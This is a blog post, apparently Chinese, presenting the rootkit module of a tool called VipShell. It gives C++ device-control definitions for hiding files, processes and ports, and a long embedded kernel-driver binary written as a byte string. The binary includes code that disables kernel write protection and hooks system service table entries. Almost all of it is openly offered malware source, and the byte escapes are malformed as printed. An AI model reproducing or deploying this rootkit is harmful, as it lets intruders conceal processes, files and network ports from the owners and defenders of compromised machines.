VipShell驱动隐藏模块

本文介绍了一种通过设备控制代码实现文件、进程及端口隐藏的技术。该技术使用了特定的设备控制代码来添加、删除及启动隐藏操作,并通过设备句柄进行控制。文中详细展示了如何针对文件、进程和端口实施隐藏逻辑。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目前支持 隐藏端口, 进程, 文件

#include <Windows.h>
#include <stdio.h>
#include "./RootKitModule.h"
#include <atlbase.h>

ADD_PINBOARD(RootKitModule)
BEGIN_DLLCreatePINBOARDINSTANCE
ADD_DLL_PINBOARD_SUSTAIN(RootKitModule)
END_DLLCreatePINBOARDINSTANCE

#define DEVICE_FILTER_INDEX 0x860


#define ZFJ_ROOTKIT_ADDHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+2,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+3,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+4,METHOD_BUFFERED,FILE_ANY_ACCESS)

#define ZFJ_ROOTKIT_ADDHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+5,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+6,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+7,METHOD_BUFFERED,FILE_ANY_ACCESS)

#define ZFJ_ROOTKIT_ADDHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+8,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_DELHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+9,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define ZFJ_ROOTKIT_STARTHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+10,METHOD_BUFFERED,FILE_ANY_ACCESS)



#define MY_DEVICE_NAME ".//ZFJ_ROOTKIT"


char g_szRootKitModule[] =    "/x4d/x5a/x90/x00/x03/x00/x00/x00/x04/x00/x00/x00/xff/xff/x00/x00"
"/xb8/x00/x00/x00/x00/x00/x00/x00/x40/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/xd8/x00/x00/x00"
"/x0e/x1f/xba/x0e/x00/xb4/x09/xcd/x21/xb8/x01/x4c/xcd/x21/x54/x68"
"/x69/x73/x20/x70/x72/x6f/x67/x72/x61/x6d/x20/x63/x61/x6e/x6e/x6f"
"/x74/x20/x62/x65/x20/x72/x75/x6e/x20/x69/x6e/x20/x44/x4f/x53/x20"
"/x6d/x6f/x64/x65/x2e/x0d/x0d/x0a/x24/x00/x00/x00/x00/x00/x00/x00"
"/x1d/x55/x06/xc0/x59/x34/x68/x93/x59/x34/x68/x93/x59/x34/x68/x93"
"/x59/x34/x69/x93/x48/x34/x68/x93/xda/x3c/x35/x93/x5a/x34/x68/x93"
"/xd7/x3c/x37/x93/x5b/x34/x68/x93/xd7/x3c/x08/x93/x5d/x34/x68/x93"
"/xda/x3c/x32/x93/x58/x34/x68/x93/x52/x69/x63/x68/x59/x34/x68/x93"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x50/x45/x00/x00/x4c/x01/x05/x00"
"/x08/x1c/x0c/x45/x00/x00/x00/x00/x00/x00/x00/x00/xe0/x00/x0e/x01"
"/x0b/x01/x07/x0a/x00/x0e/x00/x00/x00/x10/x00/x00/x00/x00/x00/x00"
"/x00/x40/x00/x00/x00/x10/x00/x00/x00/x20/x00/x00/x00/x00/x01/x00"
"/x00/x10/x00/x00/x00/x02/x00/x00/x05/x00/x02/x00/x05/x00/x02/x00"
"/x05/x00/x02/x00/x00/x00/x00/x00/x00/x60/x00/x00/x00/x04/x00/x00"
"/xcb/xbe/x00/x00/x01/x00/x00/x04/x00/x00/x04/x00/x00/x10/x00/x00"
"/x00/x00/x10/x00/x00/x10/x00/x00/x00/x00/x00/x00/x10/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x30/x40/x00/x00/x28/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x50/x00/x00/xc4/x00/x00/x00"
"/x50/x20/x00/x00/x1c/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x20/x00/x00/x44/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x2e/x74/x65/x78/x74/x00/x00/x00/x82/x09/x00/x00/x00/x10/x00/x00"
"/x00/x0a/x00/x00/x00/x04/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x20/x00/x00/x68/x2e/x72/x64/x61/x74/x61/x00/x00"
"/xbb/x00/x00/x00/x00/x20/x00/x00/x00/x02/x00/x00/x00/x0e/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x40/x00/x00/x48"
"/x2e/x64/x61/x74/x61/x00/x00/x00/x64/x0a/x00/x00/x00/x30/x00/x00"
"/x00/x02/x00/x00/x00/x10/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x40/x00/x00/xc8/x49/x4e/x49/x54/x00/x00/x00/x00"
"/x10/x02/x00/x00/x00/x40/x00/x00/x00/x04/x00/x00/x00/x12/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x20/x00/x00/xe2"
"/x2e/x72/x65/x6c/x6f/x63/x00/x00/xfa/x00/x00/x00/x00/x50/x00/x00"
"/x00/x02/x00/x00/x00/x16/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x40/x00/x00/x42/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x56/x8b/x74/x24/x0c/x8b/x46/x60/x8b/x40/x0c/x8b/x56/x0c/x57/xb9"
"/x98/x21/x22/x00/x33/xff/x3b/xc1/x77/x46/x74/x3b/x2d/x80/x21/x22"
"/x00/x74/x78/x83/xe8/x08/x74/x27/x83/xe8/x04/x74/x1a/x83/xe8/x04"
"/x74/x0e/x83/xe8/x04/x75/x3f/xff/x32/xe8/x54/x06/x00/x00/xeb/x5b"
"/xe8/x89/x03/x00/x00/xeb/x54/x52/xe8/x31/x04/x00/x00/xeb/x4c/x52"
"/xe8/x8f/x04/x00/x00/xeb/x44/xff/x32/xe8/x0c/x06/x00/x00/xeb/x3b"
"/x2d/x9c/x21/x22/x00/x74/x2f/x83/xe8/x04/x74/x21/x83/xe8/x04/x74"
"/x13/x83/xe8/x04/x74/x07/xbf/x10/x00/x00/xc0/xeb/x1e/xe8/x64/x08"
"/x00/x00/xeb/x17/xff/x32/xe8/x0b/x08/x00/x00/xeb/x0e/xff/x32/xe8"
"/x2a/x08/x00/x00/xeb/x05/xe8/x23/x05/x00/x00/x32/xd2/x8b/xce/x89"
"/x7e/x18/xff/x15/x00/x20/x01/x00/x8b/xc7/x5f/x5e/xc2/x08/x00/xcc"
"/x8b/x4c/x24/x08/x83/x61/x18/x00/x32/xd2/xff/x15/x00/x20/x01/x00"
"/x33/xc0/xc2/x08/x00/xcc/x5c/x00/x44/x00/x6f/x00/x73/x00/x44/x00"
"/x65/x00/x76/x00/x69/x00/x63/x00/x65/x00/x73/x00/x5c/x00/x5a/x00"
"/x46/x00/x4a/x00/x5f/x00/x52/x00/x4f/x00/x4f/x00/x54/x00/x4b/x00"
"/x49/x00/x54/x00/x00/x00/x55/x8b/xec/x51/x51/x66/x83/x65/xf8/x00"
"/x57/x33/xc0/x8d/x7d/xfa/xab/x66/xab/xe8/x14/x03/x00/x00/xe8/xff"
"/x04/x00/x00/xe8/x22/x08/x00/x00/x68/xc6/x10/x01/x00/x8d/x45/xf8"
"/x50/xff/x15/x0c/x20/x01/x00/x83/x7d/xfc/x00/x5f/x74/x0a/x8d/x45"
"/xf8/x50/xff/x15/x08/x20/x01/x00/x8b/x45/x08/x85/xc0/x74/x17/x56"
"/x8b/x70/x04/xeb/x0c/x8b/xc6/x8b/x76/x0c/x50/xff/x15/x04/x20/x01"
"/x00/x85/xf6/x75/xf0/x5e/xc9/xc2/x04/x00/x5c/x00/x44/x00/x65/x00"
"/x76/x00/x69/x00/x63/x00/x65/x00/x5c/x00/x5a/x00/x46/x00/x4a/x00"
"/x5f/x00/x52/x00/x4f/x00/x4f/x00/x54/x00/x4b/x00/x49/x00/x54/x00"
"/x00/x00/x5c/x00/x44/x00/x6f/x00/x73/x00/x44/x00/x65/x00/x76/x00"
"/x69/x00/x63/x00/x65/x00/x73/x00/x5c/x00/x5a/x00/x46/x00/x4a/x00"
"/x5f/x00/x52/x00/x4f/x00/x4f/x00/x54/x00/x4b/x00/x49/x00/x54/x00"
"/x00/x00/x55/x8b/xec/x83/xec/x14/x53/x56/x57/x33/xc0/x33/xdb/x66"
"/x89/x5d/xf4/x8d/x7d/xf6/xab/x66/xab/x33/xc0/x66/x89/x5d/xec/x8d"
"/x7d/xee/xab/x66/xab/x8b/x3d/x0c/x20/x01/x00/x68/x5a/x11/x01/x00"
"/x8d/x45/xf4/x50/x89/x5d/xfc/xff/xd7/x8b/x75/x08/x8d/x45/xfc/x50"
"/x53/x53/x6a/x22/x8d/x45/xf4/x50/x53/x56/xff/x15/x14/x20/x01/x00"
"/x3b/xc3/x7c/x5f/xe8/x61/x02/x00/x00/xe8/x4c/x04/x00/x00/xe8/x73"
"/x06/x00/x00/x68/x82/x11/x01/x00/x8d/x45/xec/x50/xff/xd7/x8d/x45"
"/xf4/x50/x8d/x45/xec/x50/xff/x15/x10/x20/x01/x00/x8b/xf8/x3b/xfb"
"/x7d/x10/x39/x5d/xfc/x74/x2a/xff/x75/xfc/xff/x15/x04/x20/x01/x00"
"/xeb/x1f/xb8/xb0/x10/x01/x00/x89/x46/x38/x89/x46/x40/x89/x46/x44"
"/x89/x46/x48/xc7/x46/x70/x00/x10/x01/x00/xc7/x46/x34/xf6/x10/x01"
"/x00/x8b/xc7/x5f/x5e/x5b/xc9/xc2/x08/x00/x00/xcc/x55/x8b/xec/x83"
"/xec/x18/x53/x8b/x5d/x1c/x56/xff/x75/x30/xff/x75/x2c/xff/x75/x28"
"/xff/x75/x24/xff/x75/x20/x53/xff/x75/x18/xff/x75/x14/xff/x75/x10"
"/xff/x75/x0c/xff/x75/x08/xff/x15/x08/x3a/x01/x00/x89/x45/x30/x68"
"/x6a/x12/x01/x00/x8d/x45/xf8/x50/xff/x15/x28/x20/x01/x00/x33/xf6"
"/x39/x75/x30/x0f/x8c/x0c/x01/x00/x00/x83/x7d/x24/x03/x0f/x85/x02"
"/x01/x00/x00/x57/x0f/xb7/x4d/xf8/x8b/x7d/xfc/x8b/xd1/x33/xc0/xc1"
"/xe9/x02/xf3/xab/x8b/xca/x83/xe1/x03/xf3/xaa/x33/xc0/x39/x03/x0f"
"/x94/xc0/x89/x45/x24/x8d/x43/x5e/x50/x8d/x45/xf0/x50/xff/x15/x0c"
"/x20/x01/x00/x8b/x3d/x24/x20/x01/x00/x6a/x01/x8d/x45/xf0/x50/x8d"
"/x45/xf8/x50/xff/xd7/x6a/x01/x8d/x45/xf0/x50/x8d/x45/xe8/x50/xff"
"/xd7/x8d/x45/xe8/x50/x8d/x45/xf8/x50/xff/x15/x20/x20/x01/x00/x8b"
"/x43/x3c/x8b/x4d/xfc/xd1/xe8/xc6/x04/x08/x00/xbf/x08/x30/x01/x00"
"/x8b/xc7/x8d/x50/x01/x8a/x08/x40/x84/xc9/x75/xf9/x2b/xc2/x89/x45"
"/x2c/x74/x61/x8b/x43/x3c/xd1/xe8/x50/x57/xff/x75/xfc/xff/x15/x1c"
"/x20/x01/x00/x8b/x4b/x3c/xd1/xe9/x3b/xc1/x74/x10/x81/xc7/x00/x01"
"/x00/x00/x81/xff/x08/x3a/x01/x00/x7c/xc6/xeb/x38/x83/x7d/x24/x00"
"/x74/x13/x3b/x5d/x1c/x75/x09/xc7/x45/x30/x06/x00/x00/x80/xeb/x24"
"/x83/x26/x00/xeb/x1f/x8b/x03/x8b/x4d/x1c/x2b/xc8/x2b/xcb/x03/x4d"
"/x20/x8d/x34/x18/x8b/xc1/xc1/xe9/x02/x8b/xfb/xf3/xa5/x8b/xc8/x83"
"/xe1/x03/xf3/xa4/x8b/xf3/x03/x1b/x83/x7d/x24/x00/x0f/x84/x12/xff"
"/xff/xff/x8b/x35/x18/x20/x01/x00/x8d/x45/xe8/x50/xff/xd6/x8d/x45"
"/xf8/x50/xff/xd6/x5f/x8b/x45/x30/x5e/x5b/xc9/xc2/x2c/x00/x83/x3d"
"/x08/x3a/x01/x00/x00/x74/x03/x33/xc0/xc3/x8b/x0d/x30/x20/x01/x00"
"/x8b/x15/x2c/x20/x01/x00/x8b/x41/x01/x8b/x12/x8b/x04/x82/xa3/x08"
"/x3a/x01/x00/xfa/x0f/x20/xc0/x25/xff/xff/xfe/xff/x0f/x22/xc0/x8b"
"/x41/x01/x8b/x0d/x2c/x20/x01/x00/x8b/x09/xc7/x04/x81/x6c/x12/x01"
"/x00/x0f/x20/xc0/x0d/x00/x00/x01/x00/x0f/x22/xc0/xfb/x33/xc0/x40"
"/xc3/xcc/x83/x3d/x08/x3a/x01/x00/x00/x75/x03/x33/xc0/xc3/xfa/x0f"
"/x20/xc0/x25/xff/xff/xfe/xff/x0f/x22/xc0/x8b/x0d/x2c/x20/x01/x00"
"/xa1/x30/x20/x01/x00/x8b/x40/x01/x8b/x09/x8b/x15/x08/x3a/x01/x00"
"/x89/x14/x81/x0f/x20/xc0/x0d/x00/x00/x01/x00/x0f/x22/xc0/xfb/x83"
"/x25/x08/x3a/x01/x00/x00/x33/xc0/x40/xc3/x57/xb9/x80/x02/x00/x00"
"/x33/xc0/xbf/x08/x30/x01/x00/xf3/xab/x5f/xc3/xcc/x00/xcc/x53/x56"
"/x57/x33/xd2/xbf/x08/x30/x01/x00/x8b/x74/x24/x10/x8b/xc7/x8a/x18"
"/x8a/xcb/x3a/x1e/x75/x1a/x84/xc9/x74/x12/x8a/x58/x01/x8a/xcb/x3a"
"/x5e/x01/x75/x0c/x40/x40/x46/x46/x84/xc9/x75/xe2/x33/xc0/xeb/x05"
"/x1b/xc0/x83/xd8/xff/x85/xc0/x74/x17/x81/xc7/x00/x01/x00/x00/x42"
"/x81/xff/x08/x3a/x01/x00/x7c/xc0/x33/xc0/x5f/x5e/x5b/xc2/x04/x00"
"/xa0/x7c/x14/x01/x00/xc1/xe2/x08/x88/x82/x08/x30/x01/x00/x33/xc0"
"/x40/xeb/xe7/xcc/x55/x8b/xec/x51/x56/x57/x33/xc9/xbf/x08/x30/x01"
"/x00/x8b/xc7/x8d/x70/x01/x8a/x10/x40/x84/xd2/x75/xf9/x2b/xc6/x89"
"/x45/xfc/x74/x17/x81/xc7/x00/x01/x00/x00/x41/x81/xff/x08/x3a/x01"
"/x00/x7c/xde/x33/xc0/x5f/x5e/xc9/xc2/x04/x00/x8b/x45/x08/xc1/xe1"
"/x08/x8d/x91/x08/x30/x01/x00/x2b/xd0/x8a/x08/x88/x0c/x02/x40/x84"
"/xc9/x75/xf6/x33/xc0/x40/xeb/xdd/x55/x8b/xec/x56/xff/x75/x14/x8b"
"/x75/x0c/xff/x75/x10/x56/xff/x75/x08/xff/x15/x34/x3a/x01/x00/x85"
"/xc0/x7c/x65/x83/x7d/x08/x05/x75/x5f/x8b/x16/x57/x33/xff/x85/xd2"
"/x8b/xce/x74/x4f/x8d/x0c/x32/xeb/x4a/xbe/x0c/x3a/x01/x00/x8b/x16"
"/x85/xd2/x74/x2d/x39/x51/x44/x75/x19/x85/xff/x74/x0d/x8b/x11/x85"
"/xd2/x74/x04/x01/x17/xeb/x03/x83/x27/x00/x8b/x11/x85/xd2/x74/x0f"
"/x03/xca/x83/xc6/x04/x81/xfe/x34/x3a/x01/x00/x7c/xd1/xeb/x02/x33"
"/xc9/x85/xc9/x74/x12/x8b/x11/x85/xd2/x8b/xf9/x74/x04/x03/xca/xeb"
"/x02/x33/xc9/x85/xc9/x75/xb2/x5f/x5e/x5d/xc2/x10/x00/xcc/x83/x3d"
"/x34/x3a/x01/x00/x00/x74/x03/x33/xc0/xc3/x8b/x0d/x34/x20/x01/x00"
"/x8b/x15/x2c/x20/x01/x00/x8b/x41/x01/x8b/x12/x8b/x04/x82/xa3/x34"
"/x3a/x01/x00/xfa/x0f/x20/xc0/x25/xff/xff/xfe/xff/x0f/x22/xc0/x8b"
"/x41/x01/x8b/x0d/x2c/x20/x01/x00/x8b/x09/xc7/x04/x81/x38/x15/x01"
"/x00/x0f/x20/xc0/x0d/x00/x00/x01/x00/x0f/x22/xc0/xfb/x33/xc0/x40"
"/xc3/xcc/x83/x3d/x34/x3a/x01/x00/x00/x75/x03/x33/xc0/xc3/xfa/x0f"
"/x20/xc0/x25/xff/xff/xfe/xff/x0f/x22/xc0/x8b/x0d/x2c/x20/x01/x00"
"/xa1/x34/x20/x01/x00/x8b/x40/x01/x8b/x09/x8b/x15/x34/x3a/x01/x00"
"/x89/x14/x81/x0f/x20/xc0/x0d/x00/x00/x01/x00/x0f/x22/xc0/xfb/x83"
"/x25/x34/x3a/x01/x00/x00/x33/xc0/x40/xc3/x57/x6a/x0a/x59/x33/xc0"
"/xbf/x0c/x3a/x01/x00/xf3/xab/x5f/xc3/xcc/x33/xc0/x8b/x0c/x85/x0c"
"/x3a/x01/x00/x3b/x4c/x24/x04/x74/x0b/x40/x83/xf8/x0a/x7c/xed/x33"
"/xc0/xc2/x04/x00/x83/x24/x85/x0c/x3a/x01/x00/x00/x33/xc0/x40/xeb"
"/xf0/xcc/x33/xc0/x83/x3c/x85/x0c/x3a/x01/x00/x00/x74/x0b/x40/x83"
"/xf8/x0a/x7c/xf0/x33/xc0/xc2/x04/x00/x8b/x4c/x24/x04/x89/x0c/x85"
"/x0c/x3a/x01/x00/x33/xc0/x40/xeb/xed/xcc/x55/x8b/xec/x83/xec/x24"
"/x53/x8b/x5d/x28/x56/xff/x75/x2c/x8b/x75/x20/x53/xff/x75/x24/x56"
"/xff/x75/x1c/xff/x75/x18/xff/x75/x14/xff/x75/x10/xff/x75/x0c/xff"
"/x75/x08/xff/x15/x60/x3a/x01/x00/x81/x7d/x1c/x03/x00/x12/x00/x89"
"/x45/x28/x0f/x85/x88/x01/x00/x00/x85/xc0/x57/x0f/x8c/x7e/x01/x00"
"/x00/x83/x65/xe0/x00/x6a/x05/x59/x8d/x7d/xdc/x33/xd2/xc7/x45/xdc"
"/x00/x04/x00/x00/xc7/x45/xe4/x00/x02/x00/x00/xc7/x45/xe8/x00/x01"
"/x00/x00/xc7/x45/xec/x01/x01/x00/x00/xf3/xa7/x0f/x85/x98/x00/x00"
"/x00/x8b/x45/x18/x8b/x40/x04/x6a/x14/x59/xf7/xf1/x83/x65/x1c/x00"
"/x85/xc0/x7e/x7a/x8d/x48/xff/x89/x4d/x20/x8d/x4b/x14/x89/x4d/x2c"
"/xbe/x38/x3a/x01/x00/x8b/x3e/x85/xff/x74/x54/x33/xc9/x8a/x6b/x08"
"/x8a/x4b/x09/x3b/xcf/x74/x0d/x83/xc6/x04/x81/xfe/x60/x3a/x01/x00"
"/x7c/xe3/xeb/x3b/x8b/x4d/x20/x39/x4d/x1c/x74/x2f/x8b/x75/x2c/x8b"
"/xc8/x2b/x4d/x1c/x8b/xfb/x49/x8d/x0c/x89/xc1/xe1/x02/x8b/xd1/xc1"
"/xe9/x02/xf3/xa5/x8b/xca/x83/xe1/x03/x48/xff/x4d/x20/xff/x4d/x1c"
"/x83/xeb/x14/x83/x6d/x2c/x14/xf3/xa4/xeb/x04/x48/xff/x4d/x20/xff"
"/x45/x1c/x83/x45/x2c/x14/x83/xc3/x14/x39/x45/x1c/x7c/x92/x8d/x04"
"/x80/xc1/xe0/x02/xe9/xad/x00/x00/x00/x8b/x75/x20/x6a/x05/x59/x8d"
"/x7d/xdc/x33/xd2/xc7/x45/xec/x02/x01/x00/x00/xf3/xa7/x0f/x85/x9c"
"/x00/x00/x00/x8b/x45/x18/x8b/x40/x04/x6a/x18/x59/xf7/xf1/x83/x65"
"/x1c/x00/x85/xc0/x7e/x7a/x8d/x48/xff/x89/x4d/x20/x8d/x4b/x18/x89"
"/x4d/x2c/xbe/x38/x3a/x01/x00/x8b/x3e/x85/xff/x74/x54/x33/xc9/x8a"
"/x6b/x08/x8a/x4b/x09/x3b/xcf/x74/x0d/x83/xc6/x04/x81/xfe/x60/x3a"
"/x01/x00/x7c/xe3/xeb/x3b/x8b/x4d/x20/x39/x4d/x1c/x74/x2f/x8b/x75"
"/x2c/x8b/xc8/x2b/x4d/x1c/x8b/xfb/x49/x8d/x0c/x49/xc1/xe1/x03/x8b"
"/xd1/xc1/xe9/x02/xf3/xa5/x8b/xca/x83/xe1/x03/x48/xff/x4d/x20/xff"
"/x4d/x1c/x83/xeb/x18/x83/x6d/x2c/x18/xf3/xa4/xeb/x04/x48/xff/x4d"
"/x20/xff/x45/x1c/x83/x45/x2c/x18/x83/xc3/x18/x39/x45/x1c/x7c/x92"
"/x8d/x04/x40/xc1/xe0/x03/x8b/x4d/x18/x89/x41/x04/x8b/x45/x28/x5f"
"/x5e/x5b/xc9/xc2/x28/x00/x57/x6a/x0a/x59/x33/xc0/xbf/x38/x3a/x01"
"/x00/xf3/xab/x5f/xc3/xcc/x33/xc0/x8b/x0c/x85/x38/x3a/x01/x00/x3b"
"/x4c/x24/x04/x74/x0b/x40/x83/xf8/x0a/x7c/xed/x33/xc0/xc2/x04/x00"
"/x83/x24/x85/x38/x3a/x01/x00/x00/x33/xc0/x40/xeb/xf0/xcc/x33/xc0"
"/x83/x3c/x85/x38/x3a/x01/x00/x00/x74/x0b/x40/x83/xf8/x0a/x7c/xf0"
"/x33/xc0/xc2/x04/x00/x8b/x4c/x24/x04/x89/x0c/x85/x38/x3a/x01/x00"
"/x33/xc0/x40/xeb/xed/xcc/x83/x3d/x60/x3a/x01/x00/x00/x74/x03/x33"
"/xc0/xc3/x8b/x0d/x38/x20/x01/x00/x8b/x15/x2c/x20/x01/x00/x8b/x41"
"/x01/x8b/x12/x8b/x04/x82/xa3/x60/x3a/x01/x00/xfa/x0f/x20/xc0/x25"
"/xff/xff/xfe/xff/x0f/x22/xc0/x8b/x41/x01/x8b/x0d/x2c/x20/x01/x00"
"/x8b/x09/xc7/x04/x81/xba/x16/x01/x00/x0f/x20/xc0/x0d/x00/x00/x01"
"/x00/x0f/x22/xc0/xfb/x33/xc0/x40/xc3/xcc/x83/x3d/x60/x3a/x01/x00"
"/x00/x75/x03/x33/xc0/xc3/xfa/x0f/x20/xc0/x25/xff/xff/xfe/xff/x0f"
"/x22/xc0/x8b/x0d/x2c/x20/x01/x00/xa1/x38/x20/x01/x00/x8b/x40/x01"
"/x8b/x09/x8b/x15/x60/x3a/x01/x00/x89/x14/x81/x0f/x20/xc0/x0d/x00"
"/x00/x01/x00/x0f/x22/xc0/xfb/x83/x25/x60/x3a/x01/x00/x00/x33/xc0"
"/x40/xc3/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x9c/x40/x00/x00/xb2/x40/x00/x00/xc4/x40/x00/x00/xdc/x40/x00/x00"
"/xf4/x40/x00/x00/x0c/x41/x00/x00/x1e/x41/x00/x00/x32/x41/x00/x00"
"/x46/x41/x00/x00/x58/x41/x00/x00/x78/x41/x00/x00/x8c/x41/x00/x00"
"/xa8/x41/x00/x00/xc0/x41/x00/x00/xdc/x41/x00/x00/xf4/x41/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x08/x1c/x0c/x45/x00/x00/x00/x00/x02/x00/x00/x00"
"/x4f/x00/x00/x00/x6c/x20/x00/x00/x6c/x0e/x00/x00/x52/x53/x44/x53"
"/x18/xdc/xdd/xe4/x21/x5b/x6e/x46/xa0/xa1/xff/x50/x1b/x09/xb7/x9c"
"/x01/x00/x00/x00/x65/x3a/x5c/x64/x64/x6b/x77/x6f/x72/x6b/x5c/x64"
"/x72/x69/x76/x65/x72/x31/x5c/x6f/x62/x6a/x66/x72/x65/x5f/x77/x6e"
"/x65/x74/x5f/x78/x38/x36/x5c/x69/x33/x38/x36/x5c/x48/x65/x6c/x6c"
"/x6f/x57/x6f/x72/x6c/x64/x2e/x70/x64/x62/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
"/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"
